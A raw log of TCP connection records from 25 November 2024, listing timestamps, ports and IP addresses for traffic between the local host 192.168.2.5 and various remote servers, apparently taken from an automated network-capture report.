Nov 25, 2024 18:28:46.986959934 CET	443	49863	104.117.182.59	192.168.2.5
Nov 25, 2024 18:28:46.987016916 CET	49863	443	192.168.2.5	104.117.182.59
Nov 25, 2024 18:28:46.987034082 CET	443	49863	104.117.182.59	192.168.2.5
Nov 25, 2024 18:28:46.987054110 CET	443	49863	104.117.182.59	192.168.2.5
Nov 25, 2024 18:28:46.987107038 CET	49863	443	192.168.2.5	104.117.182.59
Nov 25, 2024 18:28:46.995229959 CET	49863	443	192.168.2.5	104.117.182.59
Nov 25, 2024 18:28:46.995246887 CET	443	49863	104.117.182.59	192.168.2.5
Nov 25, 2024 18:28:47.047822952 CET	443	49859	13.89.179.8	192.168.2.5
Nov 25, 2024 18:28:47.047943115 CET	443	49859	13.89.179.8	192.168.2.5
Nov 25, 2024 18:28:47.048062086 CET	49859	443	192.168.2.5	13.89.179.8
Nov 25, 2024 18:28:47.048959017 CET	49859	443	192.168.2.5	13.89.179.8
Nov 25, 2024 18:28:47.048970938 CET	443	49859	13.89.179.8	192.168.2.5
Nov 25, 2024 18:28:47.050158978 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:47.050343990 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:47.106781960 CET	443	49860	20.96.153.111	192.168.2.5
Nov 25, 2024 18:28:47.106940031 CET	443	49860	20.96.153.111	192.168.2.5
Nov 25, 2024 18:28:47.107733965 CET	49860	443	192.168.2.5	20.96.153.111
Nov 25, 2024 18:28:47.108335018 CET	49860	443	192.168.2.5	20.96.153.111
Nov 25, 2024 18:28:47.108347893 CET	443	49860	20.96.153.111	192.168.2.5
Nov 25, 2024 18:28:47.113708019 CET	49877	443	192.168.2.5	20.96.153.111
Nov 25, 2024 18:28:47.113748074 CET	443	49877	20.96.153.111	192.168.2.5
Nov 25, 2024 18:28:47.114015102 CET	49877	443	192.168.2.5	20.96.153.111
Nov 25, 2024 18:28:47.114232063 CET	49877	443	192.168.2.5	20.96.153.111
Nov 25, 2024 18:28:47.114250898 CET	443	49877	20.96.153.111	192.168.2.5
Nov 25, 2024 18:28:47.305231094 CET	443	49858	20.190.181.4	192.168.2.5
Nov 25, 2024 18:28:47.305257082 CET	443	49858	20.190.181.4	192.168.2.5
Nov 25, 2024 18:28:47.305294991 CET	443	49858	20.190.181.4	192.168.2.5
Nov 25, 2024 18:28:47.305347919 CET	49858	443	192.168.2.5	20.190.181.4
Nov 25, 2024 18:28:47.305383921 CET	443	49858	20.190.181.4	192.168.2.5
Nov 25, 2024 18:28:47.305398941 CET	49858	443	192.168.2.5	20.190.181.4
Nov 25, 2024 18:28:47.306045055 CET	49858	443	192.168.2.5	20.190.181.4
Nov 25, 2024 18:28:47.306061983 CET	443	49858	20.190.181.4	192.168.2.5
Nov 25, 2024 18:28:47.306139946 CET	49858	443	192.168.2.5	20.190.181.4
Nov 25, 2024 18:28:47.306210041 CET	443	49858	20.190.181.4	192.168.2.5
Nov 25, 2024 18:28:47.306241989 CET	443	49858	20.190.181.4	192.168.2.5
Nov 25, 2024 18:28:47.306288004 CET	49858	443	192.168.2.5	20.190.181.4
Nov 25, 2024 18:28:47.355673075 CET	49878	443	192.168.2.5	20.190.181.4
Nov 25, 2024 18:28:47.355725050 CET	443	49878	20.190.181.4	192.168.2.5
Nov 25, 2024 18:28:47.355844975 CET	49878	443	192.168.2.5	20.190.181.4
Nov 25, 2024 18:28:47.356112957 CET	49878	443	192.168.2.5	20.190.181.4
Nov 25, 2024 18:28:47.356129885 CET	443	49878	20.190.181.4	192.168.2.5
Nov 25, 2024 18:28:47.375121117 CET	443	49868	20.110.205.119	192.168.2.5
Nov 25, 2024 18:28:47.375471115 CET	49868	443	192.168.2.5	20.110.205.119
Nov 25, 2024 18:28:47.375499010 CET	443	49868	20.110.205.119	192.168.2.5
Nov 25, 2024 18:28:47.375896931 CET	443	49868	20.110.205.119	192.168.2.5
Nov 25, 2024 18:28:47.376290083 CET	49868	443	192.168.2.5	20.110.205.119
Nov 25, 2024 18:28:47.376365900 CET	443	49868	20.110.205.119	192.168.2.5
Nov 25, 2024 18:28:47.376528978 CET	49868	443	192.168.2.5	20.110.205.119
Nov 25, 2024 18:28:47.423331976 CET	443	49868	20.110.205.119	192.168.2.5
Nov 25, 2024 18:28:47.443144083 CET	443	49867	13.107.246.63	192.168.2.5
Nov 25, 2024 18:28:47.443753958 CET	49867	443	192.168.2.5	13.107.246.63
Nov 25, 2024 18:28:47.443772078 CET	443	49867	13.107.246.63	192.168.2.5
Nov 25, 2024 18:28:47.444401026 CET	49867	443	192.168.2.5	13.107.246.63
Nov 25, 2024 18:28:47.444406986 CET	443	49867	13.107.246.63	192.168.2.5
Nov 25, 2024 18:28:47.652329922 CET	443	49874	23.44.203.82	192.168.2.5
Nov 25, 2024 18:28:47.652595043 CET	49874	443	192.168.2.5	23.44.203.82
Nov 25, 2024 18:28:47.652620077 CET	443	49874	23.44.203.82	192.168.2.5
Nov 25, 2024 18:28:47.653646946 CET	443	49874	23.44.203.82	192.168.2.5
Nov 25, 2024 18:28:47.653704882 CET	49874	443	192.168.2.5	23.44.203.82
Nov 25, 2024 18:28:47.654814959 CET	49874	443	192.168.2.5	23.44.203.82
Nov 25, 2024 18:28:47.654875994 CET	443	49874	23.44.203.82	192.168.2.5
Nov 25, 2024 18:28:47.678781986 CET	443	49873	23.44.203.82	192.168.2.5
Nov 25, 2024 18:28:47.679100037 CET	49873	443	192.168.2.5	23.44.203.82
Nov 25, 2024 18:28:47.679126024 CET	443	49873	23.44.203.82	192.168.2.5
Nov 25, 2024 18:28:47.680377960 CET	443	49873	23.44.203.82	192.168.2.5
Nov 25, 2024 18:28:47.680450916 CET	49873	443	192.168.2.5	23.44.203.82
Nov 25, 2024 18:28:47.680864096 CET	49873	443	192.168.2.5	23.44.203.82
Nov 25, 2024 18:28:47.680934906 CET	443	49873	23.44.203.82	192.168.2.5
Nov 25, 2024 18:28:47.695055962 CET	49874	443	192.168.2.5	23.44.203.82
Nov 25, 2024 18:28:47.695066929 CET	443	49874	23.44.203.82	192.168.2.5
Nov 25, 2024 18:28:47.726295948 CET	49873	443	192.168.2.5	23.44.203.82
Nov 25, 2024 18:28:47.726305008 CET	443	49873	23.44.203.82	192.168.2.5
Nov 25, 2024 18:28:47.741908073 CET	49874	443	192.168.2.5	23.44.203.82
Nov 25, 2024 18:28:47.773221016 CET	49873	443	192.168.2.5	23.44.203.82
Nov 25, 2024 18:28:47.846617937 CET	443	49868	20.110.205.119	192.168.2.5
Nov 25, 2024 18:28:47.846698046 CET	443	49868	20.110.205.119	192.168.2.5
Nov 25, 2024 18:28:47.846754074 CET	49868	443	192.168.2.5	20.110.205.119
Nov 25, 2024 18:28:47.848968983 CET	49868	443	192.168.2.5	20.110.205.119
Nov 25, 2024 18:28:47.848979950 CET	443	49868	20.110.205.119	192.168.2.5
Nov 25, 2024 18:28:47.891515970 CET	443	49867	13.107.246.63	192.168.2.5
Nov 25, 2024 18:28:47.891582966 CET	443	49867	13.107.246.63	192.168.2.5
Nov 25, 2024 18:28:47.894118071 CET	49867	443	192.168.2.5	13.107.246.63
Nov 25, 2024 18:28:47.896744967 CET	49867	443	192.168.2.5	13.107.246.63
Nov 25, 2024 18:28:47.896744967 CET	49867	443	192.168.2.5	13.107.246.63
Nov 25, 2024 18:28:47.896759987 CET	443	49867	13.107.246.63	192.168.2.5
Nov 25, 2024 18:28:47.896770000 CET	443	49867	13.107.246.63	192.168.2.5
Nov 25, 2024 18:28:47.900335073 CET	49879	443	192.168.2.5	13.107.246.63
Nov 25, 2024 18:28:47.900362968 CET	443	49879	13.107.246.63	192.168.2.5
Nov 25, 2024 18:28:47.900454044 CET	49879	443	192.168.2.5	13.107.246.63
Nov 25, 2024 18:28:47.900681973 CET	49879	443	192.168.2.5	13.107.246.63
Nov 25, 2024 18:28:47.900696039 CET	443	49879	13.107.246.63	192.168.2.5
Nov 25, 2024 18:28:47.909503937 CET	443	49869	13.107.246.63	192.168.2.5
Nov 25, 2024 18:28:47.910164118 CET	49869	443	192.168.2.5	13.107.246.63
Nov 25, 2024 18:28:47.910192966 CET	443	49869	13.107.246.63	192.168.2.5
Nov 25, 2024 18:28:47.910989046 CET	49869	443	192.168.2.5	13.107.246.63
Nov 25, 2024 18:28:47.910998106 CET	443	49869	13.107.246.63	192.168.2.5
Nov 25, 2024 18:28:47.964570999 CET	443	49870	13.107.246.63	192.168.2.5
Nov 25, 2024 18:28:47.965976000 CET	49870	443	192.168.2.5	13.107.246.63
Nov 25, 2024 18:28:47.965993881 CET	443	49870	13.107.246.63	192.168.2.5
Nov 25, 2024 18:28:47.967773914 CET	49870	443	192.168.2.5	13.107.246.63
Nov 25, 2024 18:28:47.967778921 CET	443	49870	13.107.246.63	192.168.2.5
Nov 25, 2024 18:28:47.980338097 CET	443	49876	204.79.197.219	192.168.2.5
Nov 25, 2024 18:28:47.980576992 CET	49876	443	192.168.2.5	204.79.197.219
Nov 25, 2024 18:28:47.980595112 CET	443	49876	204.79.197.219	192.168.2.5
Nov 25, 2024 18:28:47.981657028 CET	443	49876	204.79.197.219	192.168.2.5
Nov 25, 2024 18:28:47.981715918 CET	49876	443	192.168.2.5	204.79.197.219
Nov 25, 2024 18:28:47.982763052 CET	49876	443	192.168.2.5	204.79.197.219
Nov 25, 2024 18:28:47.982827902 CET	443	49876	204.79.197.219	192.168.2.5
Nov 25, 2024 18:28:47.985847950 CET	443	49875	204.79.197.219	192.168.2.5
Nov 25, 2024 18:28:47.986042023 CET	49875	443	192.168.2.5	204.79.197.219
Nov 25, 2024 18:28:47.986068010 CET	443	49875	204.79.197.219	192.168.2.5
Nov 25, 2024 18:28:47.987091064 CET	443	49875	204.79.197.219	192.168.2.5
Nov 25, 2024 18:28:47.987147093 CET	49875	443	192.168.2.5	204.79.197.219
Nov 25, 2024 18:28:47.987457037 CET	49875	443	192.168.2.5	204.79.197.219
Nov 25, 2024 18:28:47.987517118 CET	443	49875	204.79.197.219	192.168.2.5
Nov 25, 2024 18:28:48.023538113 CET	49876	443	192.168.2.5	204.79.197.219
Nov 25, 2024 18:28:48.023554087 CET	443	49876	204.79.197.219	192.168.2.5
Nov 25, 2024 18:28:48.039149046 CET	49875	443	192.168.2.5	204.79.197.219
Nov 25, 2024 18:28:48.039163113 CET	443	49875	204.79.197.219	192.168.2.5
Nov 25, 2024 18:28:48.043589115 CET	443	49872	13.107.246.63	192.168.2.5
Nov 25, 2024 18:28:48.044159889 CET	49872	443	192.168.2.5	13.107.246.63
Nov 25, 2024 18:28:48.044176102 CET	443	49872	13.107.246.63	192.168.2.5
Nov 25, 2024 18:28:48.044687986 CET	49872	443	192.168.2.5	13.107.246.63
Nov 25, 2024 18:28:48.044698000 CET	443	49872	13.107.246.63	192.168.2.5
Nov 25, 2024 18:28:48.060259104 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:48.060314894 CET	49761	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:48.070400000 CET	49876	443	192.168.2.5	204.79.197.219
Nov 25, 2024 18:28:48.086030006 CET	49875	443	192.168.2.5	204.79.197.219
Nov 25, 2024 18:28:48.091969967 CET	443	49871	13.107.246.63	192.168.2.5
Nov 25, 2024 18:28:48.092679024 CET	49871	443	192.168.2.5	13.107.246.63
Nov 25, 2024 18:28:48.092696905 CET	443	49871	13.107.246.63	192.168.2.5
Nov 25, 2024 18:28:48.093245983 CET	49871	443	192.168.2.5	13.107.246.63
Nov 25, 2024 18:28:48.093250990 CET	443	49871	13.107.246.63	192.168.2.5
Nov 25, 2024 18:28:48.105633974 CET	49761	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:48.226228952 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:48.331111908 CET	49880	443	192.168.2.5	104.117.182.59
Nov 25, 2024 18:28:48.331151009 CET	443	49880	104.117.182.59	192.168.2.5
Nov 25, 2024 18:28:48.331226110 CET	49880	443	192.168.2.5	104.117.182.59
Nov 25, 2024 18:28:48.333950996 CET	49880	443	192.168.2.5	104.117.182.59
Nov 25, 2024 18:28:48.333964109 CET	443	49880	104.117.182.59	192.168.2.5
Nov 25, 2024 18:28:48.358556032 CET	443	49869	13.107.246.63	192.168.2.5
Nov 25, 2024 18:28:48.358633041 CET	443	49869	13.107.246.63	192.168.2.5
Nov 25, 2024 18:28:48.358916044 CET	49869	443	192.168.2.5	13.107.246.63
Nov 25, 2024 18:28:48.365164995 CET	49881	443	192.168.2.5	104.117.182.59
Nov 25, 2024 18:28:48.365216970 CET	443	49881	104.117.182.59	192.168.2.5
Nov 25, 2024 18:28:48.365329027 CET	49881	443	192.168.2.5	104.117.182.59
Nov 25, 2024 18:28:48.365637064 CET	49881	443	192.168.2.5	104.117.182.59
Nov 25, 2024 18:28:48.365654945 CET	443	49881	104.117.182.59	192.168.2.5
Nov 25, 2024 18:28:48.384844065 CET	49882	443	192.168.2.5	104.117.182.59
Nov 25, 2024 18:28:48.384865046 CET	443	49882	104.117.182.59	192.168.2.5
Nov 25, 2024 18:28:48.384989977 CET	49882	443	192.168.2.5	104.117.182.59
Nov 25, 2024 18:28:48.385284901 CET	49882	443	192.168.2.5	104.117.182.59
Nov 25, 2024 18:28:48.385299921 CET	443	49882	104.117.182.59	192.168.2.5
Nov 25, 2024 18:28:48.388151884 CET	49869	443	192.168.2.5	13.107.246.63
Nov 25, 2024 18:28:48.388151884 CET	49869	443	192.168.2.5	13.107.246.63
Nov 25, 2024 18:28:48.388175964 CET	443	49869	13.107.246.63	192.168.2.5
Nov 25, 2024 18:28:48.388186932 CET	443	49869	13.107.246.63	192.168.2.5
Nov 25, 2024 18:28:48.402420998 CET	443	49870	13.107.246.63	192.168.2.5
Nov 25, 2024 18:28:48.402483940 CET	443	49870	13.107.246.63	192.168.2.5
Nov 25, 2024 18:28:48.402757883 CET	49870	443	192.168.2.5	13.107.246.63
Nov 25, 2024 18:28:48.424232006 CET	49870	443	192.168.2.5	13.107.246.63
Nov 25, 2024 18:28:48.424253941 CET	443	49870	13.107.246.63	192.168.2.5
Nov 25, 2024 18:28:48.443921089 CET	49883	443	192.168.2.5	13.107.246.63
Nov 25, 2024 18:28:48.443964958 CET	443	49883	13.107.246.63	192.168.2.5
Nov 25, 2024 18:28:48.444034100 CET	49883	443	192.168.2.5	13.107.246.63
Nov 25, 2024 18:28:48.444773912 CET	49883	443	192.168.2.5	13.107.246.63
Nov 25, 2024 18:28:48.444789886 CET	443	49883	13.107.246.63	192.168.2.5
Nov 25, 2024 18:28:48.445755959 CET	49884	443	192.168.2.5	13.107.246.63
Nov 25, 2024 18:28:48.445795059 CET	443	49884	13.107.246.63	192.168.2.5
Nov 25, 2024 18:28:48.445894957 CET	49884	443	192.168.2.5	13.107.246.63
Nov 25, 2024 18:28:48.446001053 CET	49884	443	192.168.2.5	13.107.246.63
Nov 25, 2024 18:28:48.446027040 CET	443	49884	13.107.246.63	192.168.2.5
Nov 25, 2024 18:28:48.496237040 CET	443	49872	13.107.246.63	192.168.2.5
Nov 25, 2024 18:28:48.496298075 CET	443	49872	13.107.246.63	192.168.2.5
Nov 25, 2024 18:28:48.496341944 CET	49872	443	192.168.2.5	13.107.246.63
Nov 25, 2024 18:28:48.497850895 CET	49872	443	192.168.2.5	13.107.246.63
Nov 25, 2024 18:28:48.497850895 CET	49872	443	192.168.2.5	13.107.246.63
Nov 25, 2024 18:28:48.497859955 CET	443	49872	13.107.246.63	192.168.2.5
Nov 25, 2024 18:28:48.497868061 CET	443	49872	13.107.246.63	192.168.2.5
Nov 25, 2024 18:28:48.502321959 CET	49885	443	192.168.2.5	13.107.246.63
Nov 25, 2024 18:28:48.502365112 CET	443	49885	13.107.246.63	192.168.2.5
Nov 25, 2024 18:28:48.502430916 CET	49885	443	192.168.2.5	13.107.246.63
Nov 25, 2024 18:28:48.505804062 CET	49885	443	192.168.2.5	13.107.246.63
Nov 25, 2024 18:28:48.505819082 CET	443	49885	13.107.246.63	192.168.2.5
Nov 25, 2024 18:28:48.547034979 CET	443	49871	13.107.246.63	192.168.2.5
Nov 25, 2024 18:28:48.547214985 CET	443	49871	13.107.246.63	192.168.2.5
Nov 25, 2024 18:28:48.547329903 CET	49871	443	192.168.2.5	13.107.246.63
Nov 25, 2024 18:28:48.547471046 CET	49871	443	192.168.2.5	13.107.246.63
Nov 25, 2024 18:28:48.547471046 CET	49871	443	192.168.2.5	13.107.246.63
Nov 25, 2024 18:28:48.547485113 CET	443	49871	13.107.246.63	192.168.2.5
Nov 25, 2024 18:28:48.547494888 CET	443	49871	13.107.246.63	192.168.2.5
Nov 25, 2024 18:28:48.550714970 CET	49886	443	192.168.2.5	13.107.246.63
Nov 25, 2024 18:28:48.550756931 CET	443	49886	13.107.246.63	192.168.2.5
Nov 25, 2024 18:28:48.550904989 CET	49886	443	192.168.2.5	13.107.246.63
Nov 25, 2024 18:28:48.551899910 CET	49886	443	192.168.2.5	13.107.246.63
Nov 25, 2024 18:28:48.551915884 CET	443	49886	13.107.246.63	192.168.2.5
Nov 25, 2024 18:28:48.560398102 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:48.560467005 CET	49761	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:48.560513973 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:48.560651064 CET	49761	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:48.560734034 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:48.560775995 CET	49761	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:48.563138008 CET	49761	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:48.683537006 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:48.743761063 CET	443	49877	20.96.153.111	192.168.2.5
Nov 25, 2024 18:28:48.744271040 CET	49877	443	192.168.2.5	20.96.153.111
Nov 25, 2024 18:28:48.744304895 CET	443	49877	20.96.153.111	192.168.2.5
Nov 25, 2024 18:28:48.744663000 CET	443	49877	20.96.153.111	192.168.2.5
Nov 25, 2024 18:28:48.744985104 CET	49877	443	192.168.2.5	20.96.153.111
Nov 25, 2024 18:28:48.745047092 CET	443	49877	20.96.153.111	192.168.2.5
Nov 25, 2024 18:28:48.745317936 CET	49877	443	192.168.2.5	20.96.153.111
Nov 25, 2024 18:28:48.787332058 CET	443	49877	20.96.153.111	192.168.2.5
Nov 25, 2024 18:28:49.013952017 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:49.014056921 CET	49761	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:49.029077053 CET	49761	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:49.149616957 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:49.243760109 CET	443	49877	20.96.153.111	192.168.2.5
Nov 25, 2024 18:28:49.243782997 CET	443	49877	20.96.153.111	192.168.2.5
Nov 25, 2024 18:28:49.243834972 CET	49877	443	192.168.2.5	20.96.153.111
Nov 25, 2024 18:28:49.243869066 CET	443	49877	20.96.153.111	192.168.2.5
Nov 25, 2024 18:28:49.243894100 CET	443	49877	20.96.153.111	192.168.2.5
Nov 25, 2024 18:28:49.243937969 CET	49877	443	192.168.2.5	20.96.153.111
Nov 25, 2024 18:28:49.254919052 CET	49877	443	192.168.2.5	20.96.153.111
Nov 25, 2024 18:28:49.254939079 CET	443	49877	20.96.153.111	192.168.2.5
Nov 25, 2024 18:28:49.268665075 CET	443	49878	20.190.181.4	192.168.2.5
Nov 25, 2024 18:28:49.301379919 CET	49878	443	192.168.2.5	20.190.181.4
Nov 25, 2024 18:28:49.301419020 CET	443	49878	20.190.181.4	192.168.2.5
Nov 25, 2024 18:28:49.302615881 CET	49878	443	192.168.2.5	20.190.181.4
Nov 25, 2024 18:28:49.302623034 CET	443	49878	20.190.181.4	192.168.2.5
Nov 25, 2024 18:28:49.302654028 CET	49878	443	192.168.2.5	20.190.181.4
Nov 25, 2024 18:28:49.302664995 CET	443	49878	20.190.181.4	192.168.2.5
Nov 25, 2024 18:28:49.592228889 CET	443	49880	104.117.182.59	192.168.2.5
Nov 25, 2024 18:28:49.592797995 CET	49880	443	192.168.2.5	104.117.182.59
Nov 25, 2024 18:28:49.592808962 CET	443	49880	104.117.182.59	192.168.2.5
Nov 25, 2024 18:28:49.593569040 CET	443	49880	104.117.182.59	192.168.2.5
Nov 25, 2024 18:28:49.594175100 CET	49880	443	192.168.2.5	104.117.182.59
Nov 25, 2024 18:28:49.594243050 CET	443	49880	104.117.182.59	192.168.2.5
Nov 25, 2024 18:28:49.594476938 CET	49880	443	192.168.2.5	104.117.182.59
Nov 25, 2024 18:28:49.601696968 CET	443	49882	104.117.182.59	192.168.2.5
Nov 25, 2024 18:28:49.602693081 CET	49882	443	192.168.2.5	104.117.182.59
Nov 25, 2024 18:28:49.602701902 CET	443	49882	104.117.182.59	192.168.2.5
Nov 25, 2024 18:28:49.604428053 CET	443	49882	104.117.182.59	192.168.2.5
Nov 25, 2024 18:28:49.604528904 CET	49882	443	192.168.2.5	104.117.182.59
Nov 25, 2024 18:28:49.604861975 CET	49882	443	192.168.2.5	104.117.182.59
Nov 25, 2024 18:28:49.604945898 CET	443	49882	104.117.182.59	192.168.2.5
Nov 25, 2024 18:28:49.605262995 CET	49882	443	192.168.2.5	104.117.182.59
Nov 25, 2024 18:28:49.624649048 CET	443	49881	104.117.182.59	192.168.2.5
Nov 25, 2024 18:28:49.625833035 CET	49881	443	192.168.2.5	104.117.182.59
Nov 25, 2024 18:28:49.625852108 CET	443	49881	104.117.182.59	192.168.2.5
Nov 25, 2024 18:28:49.626205921 CET	443	49881	104.117.182.59	192.168.2.5
Nov 25, 2024 18:28:49.626661062 CET	49881	443	192.168.2.5	104.117.182.59
Nov 25, 2024 18:28:49.626724005 CET	443	49881	104.117.182.59	192.168.2.5
Nov 25, 2024 18:28:49.626950026 CET	49881	443	192.168.2.5	104.117.182.59
Nov 25, 2024 18:28:49.628916979 CET	443	49879	13.107.246.63	192.168.2.5
Nov 25, 2024 18:28:49.630712032 CET	49879	443	192.168.2.5	13.107.246.63
Nov 25, 2024 18:28:49.630728960 CET	443	49879	13.107.246.63	192.168.2.5
Nov 25, 2024 18:28:49.631373882 CET	49879	443	192.168.2.5	13.107.246.63
Nov 25, 2024 18:28:49.631378889 CET	443	49879	13.107.246.63	192.168.2.5
Nov 25, 2024 18:28:49.635338068 CET	443	49880	104.117.182.59	192.168.2.5
Nov 25, 2024 18:28:49.651333094 CET	443	49882	104.117.182.59	192.168.2.5
Nov 25, 2024 18:28:49.652801991 CET	49882	443	192.168.2.5	104.117.182.59
Nov 25, 2024 18:28:49.652810097 CET	443	49882	104.117.182.59	192.168.2.5
Nov 25, 2024 18:28:49.667040110 CET	49881	443	192.168.2.5	104.117.182.59
Nov 25, 2024 18:28:49.667053938 CET	443	49881	104.117.182.59	192.168.2.5
Nov 25, 2024 18:28:49.694806099 CET	49882	443	192.168.2.5	104.117.182.59
Nov 25, 2024 18:28:49.972470045 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:49.972532034 CET	49761	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:50.020090103 CET	49761	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:50.066060066 CET	443	49879	13.107.246.63	192.168.2.5
Nov 25, 2024 18:28:50.066126108 CET	443	49879	13.107.246.63	192.168.2.5
Nov 25, 2024 18:28:50.066401005 CET	49879	443	192.168.2.5	13.107.246.63
Nov 25, 2024 18:28:50.066435099 CET	49879	443	192.168.2.5	13.107.246.63
Nov 25, 2024 18:28:50.066435099 CET	49879	443	192.168.2.5	13.107.246.63
Nov 25, 2024 18:28:50.066452026 CET	443	49879	13.107.246.63	192.168.2.5
Nov 25, 2024 18:28:50.066462994 CET	443	49879	13.107.246.63	192.168.2.5
Nov 25, 2024 18:28:50.069655895 CET	49887	443	192.168.2.5	13.107.246.63
Nov 25, 2024 18:28:50.069710016 CET	443	49887	13.107.246.63	192.168.2.5
Nov 25, 2024 18:28:50.069793940 CET	49887	443	192.168.2.5	13.107.246.63
Nov 25, 2024 18:28:50.069960117 CET	49887	443	192.168.2.5	13.107.246.63
Nov 25, 2024 18:28:50.069988012 CET	443	49887	13.107.246.63	192.168.2.5
Nov 25, 2024 18:28:50.142144918 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:50.157126904 CET	443	49878	20.190.181.4	192.168.2.5
Nov 25, 2024 18:28:50.157152891 CET	443	49878	20.190.181.4	192.168.2.5
Nov 25, 2024 18:28:50.157198906 CET	49878	443	192.168.2.5	20.190.181.4
Nov 25, 2024 18:28:50.157211065 CET	443	49878	20.190.181.4	192.168.2.5
Nov 25, 2024 18:28:50.157653093 CET	49878	443	192.168.2.5	20.190.181.4
Nov 25, 2024 18:28:50.157660007 CET	443	49878	20.190.181.4	192.168.2.5
Nov 25, 2024 18:28:50.157670021 CET	49878	443	192.168.2.5	20.190.181.4
Nov 25, 2024 18:28:50.157736063 CET	443	49878	20.190.181.4	192.168.2.5
Nov 25, 2024 18:28:50.157785892 CET	443	49878	20.190.181.4	192.168.2.5
Nov 25, 2024 18:28:50.158025026 CET	49878	443	192.168.2.5	20.190.181.4
Nov 25, 2024 18:28:50.160973072 CET	443	49882	104.117.182.59	192.168.2.5
Nov 25, 2024 18:28:50.161035061 CET	443	49882	104.117.182.59	192.168.2.5
Nov 25, 2024 18:28:50.161055088 CET	443	49882	104.117.182.59	192.168.2.5
Nov 25, 2024 18:28:50.161075115 CET	443	49882	104.117.182.59	192.168.2.5
Nov 25, 2024 18:28:50.161117077 CET	443	49882	104.117.182.59	192.168.2.5
Nov 25, 2024 18:28:50.161123991 CET	49882	443	192.168.2.5	104.117.182.59
Nov 25, 2024 18:28:50.161135912 CET	443	49882	104.117.182.59	192.168.2.5
Nov 25, 2024 18:28:50.161137104 CET	49882	443	192.168.2.5	104.117.182.59
Nov 25, 2024 18:28:50.161165953 CET	443	49882	104.117.182.59	192.168.2.5
Nov 25, 2024 18:28:50.161179066 CET	49882	443	192.168.2.5	104.117.182.59
Nov 25, 2024 18:28:50.161179066 CET	49882	443	192.168.2.5	104.117.182.59
Nov 25, 2024 18:28:50.161329985 CET	49882	443	192.168.2.5	104.117.182.59
Nov 25, 2024 18:28:50.189832926 CET	49888	443	192.168.2.5	20.190.181.4
Nov 25, 2024 18:28:50.189862013 CET	443	49888	20.190.181.4	192.168.2.5
Nov 25, 2024 18:28:50.190150976 CET	49888	443	192.168.2.5	20.190.181.4
Nov 25, 2024 18:28:50.190468073 CET	49888	443	192.168.2.5	20.190.181.4
Nov 25, 2024 18:28:50.190484047 CET	443	49888	20.190.181.4	192.168.2.5
Nov 25, 2024 18:28:50.191802025 CET	49889	443	192.168.2.5	20.190.181.4
Nov 25, 2024 18:28:50.191848040 CET	443	49889	20.190.181.4	192.168.2.5
Nov 25, 2024 18:28:50.192008018 CET	49889	443	192.168.2.5	20.190.181.4
Nov 25, 2024 18:28:50.192179918 CET	49889	443	192.168.2.5	20.190.181.4
Nov 25, 2024 18:28:50.192199945 CET	443	49889	20.190.181.4	192.168.2.5
Nov 25, 2024 18:28:50.193218946 CET	443	49881	104.117.182.59	192.168.2.5
Nov 25, 2024 18:28:50.193240881 CET	443	49881	104.117.182.59	192.168.2.5
Nov 25, 2024 18:28:50.193253040 CET	443	49881	104.117.182.59	192.168.2.5
Nov 25, 2024 18:28:50.193265915 CET	443	49881	104.117.182.59	192.168.2.5
Nov 25, 2024 18:28:50.193295002 CET	49881	443	192.168.2.5	104.117.182.59
Nov 25, 2024 18:28:50.193295002 CET	443	49881	104.117.182.59	192.168.2.5
Nov 25, 2024 18:28:50.193311930 CET	443	49881	104.117.182.59	192.168.2.5
Nov 25, 2024 18:28:50.193341017 CET	49881	443	192.168.2.5	104.117.182.59
Nov 25, 2024 18:28:50.193362951 CET	49881	443	192.168.2.5	104.117.182.59
Nov 25, 2024 18:28:50.235709906 CET	443	49880	104.117.182.59	192.168.2.5
Nov 25, 2024 18:28:50.235737085 CET	443	49880	104.117.182.59	192.168.2.5
Nov 25, 2024 18:28:50.235752106 CET	443	49880	104.117.182.59	192.168.2.5
Nov 25, 2024 18:28:50.235840082 CET	49880	443	192.168.2.5	104.117.182.59
Nov 25, 2024 18:28:50.235853910 CET	443	49880	104.117.182.59	192.168.2.5
Nov 25, 2024 18:28:50.235892057 CET	49880	443	192.168.2.5	104.117.182.59
Nov 25, 2024 18:28:50.236159086 CET	49880	443	192.168.2.5	104.117.182.59
Nov 25, 2024 18:28:50.271562099 CET	443	49882	104.117.182.59	192.168.2.5
Nov 25, 2024 18:28:50.271615982 CET	443	49882	104.117.182.59	192.168.2.5
Nov 25, 2024 18:28:50.271684885 CET	49882	443	192.168.2.5	104.117.182.59
Nov 25, 2024 18:28:50.271684885 CET	49882	443	192.168.2.5	104.117.182.59
Nov 25, 2024 18:28:50.271693945 CET	443	49882	104.117.182.59	192.168.2.5
Nov 25, 2024 18:28:50.271774054 CET	49882	443	192.168.2.5	104.117.182.59
Nov 25, 2024 18:28:50.279056072 CET	443	49882	104.117.182.59	192.168.2.5
Nov 25, 2024 18:28:50.279135942 CET	443	49884	13.107.246.63	192.168.2.5
Nov 25, 2024 18:28:50.279150009 CET	49882	443	192.168.2.5	104.117.182.59
Nov 25, 2024 18:28:50.288477898 CET	443	49880	104.117.182.59	192.168.2.5
Nov 25, 2024 18:28:50.288501978 CET	443	49880	104.117.182.59	192.168.2.5
